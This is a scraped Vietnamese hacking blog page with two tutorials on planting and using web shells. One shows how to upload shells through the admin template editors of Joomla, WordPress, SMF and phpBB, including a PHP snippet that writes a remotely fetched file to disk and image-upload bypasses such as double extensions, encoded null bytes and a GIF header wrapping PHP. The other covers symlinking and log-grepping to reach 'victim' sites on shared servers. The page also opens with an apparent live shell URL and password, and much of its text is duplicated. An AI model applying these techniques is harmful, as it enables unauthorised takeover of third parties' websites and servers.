http://great-online-business-ideas.com/head.php
pass: gmc
Tìm kiếm
Hiển thị các bài đăng có nhãn Shell Sever. Hiển thị tất cả bài đăng
Hiển thị các bài đăng có nhãn Shell Sever. Hiển thị tất cả bài đăng
[Tut] Kỹ thuật upshell cho Newbie
Tình hình mình đang học hỏi nghiên cứu cách up shell khi ta đã chém admin.
Nên thấy cái nè có ích post lên cho các bạn nào chưa biết học hỏi.
Up Shell đối với:
1.Joomla Site:
After Login into admin panel u will find Extensions on 5th No. expand this
click on it > Template Manager > check on any template (like beez,ja_purity)
Now click on Edit (right upper side)
after this click on Edit html
now paste ur shell code and click save...... Done
site.com/templates/template name/index.php
like site.com/templates/rc/index.php
2.Wordpress:
Login into admin panel
expand Appearance then click on editor > u will find style.css
now select 404.php on right side
paste ur shell code and click edit file
u can find shell in site.com/wp-content/themes/theme name u edit/404.php
3.SMF:
Login into adminpanel
u need to download any smf theme in zip format and put ur shell.php in it and save
admin panel > select Themes and Layout > Install a new theme > browse and upload theme thats have our shell.php
after upload shell will find > site.com/Themes/theme name/shell.php
4.phpBB:
login into admin panel > go on styles -> templates -> edit, for Template file choose faq_body.html
At down of:
PHP Code:
We add:
And save it.
Now go on:http://www.site.com/forum/faq.php?o=....com/shell.txt
Shell find in site path/shell.php
5.Up shell qua bug up ảnh:Nếu cho upload mỗi file image (bmp, gif, jpg, jpeg) thì sao ?
+ Thử thay đuôi cá xem : shell.php.jpg
+ Thử chơi NULL byte: shell.php.jpg
+ Thử mấy HEX byte chơi trội: shell.php%25%30%30.jpg
+ Thử mấy Unicode Byte shell.phpU+0025U+0030.jpg
+ Kiếm một file ảnh JPG, nhét nguyên code con shell vào trong comment của photo
+ Chèn code shell vào header của photo
P/s: Chúc Newbie thành công.
Nên thấy cái nè có ích post lên cho các bạn nào chưa biết học hỏi.
Up Shell đối với:
1.Joomla Site:
After Login into admin panel u will find Extensions on 5th No. expand this
click on it > Template Manager > check on any template (like beez,ja_purity)
Now click on Edit (right upper side)
after this click on Edit html
now paste ur shell code and click save...... Done
site.com/templates/template name/index.php
like site.com/templates/rc/index.php
2.Wordpress:
Login into admin panel
expand Appearance then click on editor > u will find style.css
now select 404.php on right side
paste ur shell code and click edit file
u can find shell in site.com/wp-content/themes/theme name u edit/404.php
3.SMF:
Login into adminpanel
u need to download any smf theme in zip format and put ur shell.php in it and save
admin panel > select Themes and Layout > Install a new theme > browse and upload theme thats have our shell.php
after upload shell will find > site.com/Themes/theme name/shell.php
4.phpBB:
login into admin panel > go on styles -> templates -> edit, for Template file choose faq_body.html
At down of:
PHP Code:
<!-- INCLUDE overall_header.html -->
[PHP]<!-- PHP -->
fwrite(fopen($_GET[o], 'w'), file_get_contents($_GET[i]));
<!-- ENDPHP -->
fwrite(fopen($_GET[o], 'w'), file_get_contents($_GET[i]));
<!-- ENDPHP -->
Now go on:http://www.site.com/forum/faq.php?o=....com/shell.txt
Shell find in site path/shell.php
5.Up shell qua bug up ảnh:Nếu cho upload mỗi file image (bmp, gif, jpg, jpeg) thì sao ?
+ Thử thay đuôi cá xem : shell.php.jpg
+ Thử chơi NULL byte: shell.php.jpg
+ Thử mấy HEX byte chơi trội: shell.php%25%30%30.jpg
+ Thử mấy Unicode Byte shell.phpU+0025U+0030.jpg
+ Kiếm một file ảnh JPG, nhét nguyên code con shell vào trong comment của photo
+ Chèn code shell vào header của photo
GIF89a
<?php //code shell ?>
<?php //code shell ?>
Hướng dẫn cách sử dụng shell (cơ bản)
Hôm nay Atficcv sẽ tổng hợp lại toàn bộ những điều cơ bản về cách sử dụng shell cho anh/chị/em tham khảo.
Thực chất để có thể local (đã có shell sẵn) thì đòi hỏi các bạn có chút kiến thức về linux thì sẽ dễ dàng hơn là dùng lệnh theo các tut đã chỉ.
Bắt đầu:
- Lệnh cơ bản
Run command
cat - lệnh này có tác dụng view file, có dạng cat <đường dẫn file>
dir - lệnh này có tác dụng chuyển đường dẫn thực thi, có dạng dir <đường dẫn mới>
cd - lệnh này có tác dụng chuyển đổi thư mục, có dạng cd <thư mục muốn chuyển đến>
- Lệnh tạo symlink
Lệnh symlink có dạng ln -s <path file hoặc path thư mục> <tên file hay thư mục muốn ghi symlink>
vd ln -s /home/nbteam/public_html/index.php nbteam.txt
hoặc ln -s /home/nbteam/public_html/nbteam.us/ nbteam
mkdir : tạo thư mục mới, có dạng mk <tên thư mục mới>
mkdir nbteam
- Lệnh view log để biết đường dẫn tới victim cần local:
DirectAdmin
/var/log/httpd/domains/<domain>.error.log
- Cpanel
/usr/local/apache/logs/error_log
VD: victim là abc.com
+Nếu site dùng Directadmin thì
tail -n 10000 /var/log/httpd/domains/abc.com.error.log|grep nbteam
+Nếu site dùng Cpanel
tail -n 10000 /usr/local/apache/logs/error_log|grep nbteam
Với nbteam là cụm từ ta đánh sau site>> để site hiện thị ra thông báo lỗi
abc.com/nbteam >>cái này đánh trước rồi mới view nhé
Tiếp tục cập nhật
Đầu tiên mình nói qua qua về hack local tức là hack 1 website(host)nào đó có dùng host chạy chung 1 server
Ví dụ a e muốn hack 1 site nào đó a -e fai check xem nó nằm ở server nào,và nhưng web nào có cùng chạy trên server đó...và khai thác các site cùng server đó xem site nào lỗi để mình có thể thực hiện đc ý đồ ở đây là upload đc công cụ hack của mình lên.
Hiện nay Mình Thấy Dùng Shell là thông dụng nhất , Nếu có host cùng sever với bọn nó thì càng tốt ,up con shell lên host của mình để local sang
................................Dài quá, Atficcv có làm 1 file word để tổng hợp lại, anh/chị/em vào tải về rồi nghiệm nha.
Link" :
Links 63 shell:
Thực chất để có thể local (đã có shell sẵn) thì đòi hỏi các bạn có chút kiến thức về linux thì sẽ dễ dàng hơn là dùng lệnh theo các tut đã chỉ.
Bắt đầu:
- Lệnh cơ bản
Run command
cat - lệnh này có tác dụng view file, có dạng cat <đường dẫn file>
dir - lệnh này có tác dụng chuyển đường dẫn thực thi, có dạng dir <đường dẫn mới>
cd - lệnh này có tác dụng chuyển đổi thư mục, có dạng cd <thư mục muốn chuyển đến>
- Lệnh tạo symlink
Lệnh symlink có dạng ln -s <path file hoặc path thư mục> <tên file hay thư mục muốn ghi symlink>
vd ln -s /home/nbteam/public_html/index.php nbteam.txt
hoặc ln -s /home/nbteam/public_html/nbteam.us/ nbteam
mkdir : tạo thư mục mới, có dạng mk <tên thư mục mới>
mkdir nbteam
- Lệnh view log để biết đường dẫn tới victim cần local:
DirectAdmin
/var/log/httpd/domains/<domain>.error.log
- Cpanel
/usr/local/apache/logs/error_log
VD: victim là abc.com
+Nếu site dùng Directadmin thì
tail -n 10000 /var/log/httpd/domains/abc.com.error.log|grep nbteam
+Nếu site dùng Cpanel
tail -n 10000 /usr/local/apache/logs/error_log|grep nbteam
Với nbteam là cụm từ ta đánh sau site>> để site hiện thị ra thông báo lỗi
abc.com/nbteam >>cái này đánh trước rồi mới view nhé
Tiếp tục cập nhật
Đầu tiên mình nói qua qua về hack local tức là hack 1 website(host)nào đó có dùng host chạy chung 1 server
Ví dụ a e muốn hack 1 site nào đó a -e fai check xem nó nằm ở server nào,và nhưng web nào có cùng chạy trên server đó...và khai thác các site cùng server đó xem site nào lỗi để mình có thể thực hiện đc ý đồ ở đây là upload đc công cụ hack của mình lên.
Hiện nay Mình Thấy Dùng Shell là thông dụng nhất , Nếu có host cùng sever với bọn nó thì càng tốt ,up con shell lên host của mình để local sang
................................Dài quá, Atficcv có làm 1 file word để tổng hợp lại, anh/chị/em vào tải về rồi nghiệm nha.
Link" :
Links 63 shell:
Atficcv Đã Ký !
Đăng ký:
Bài đăng (Atom)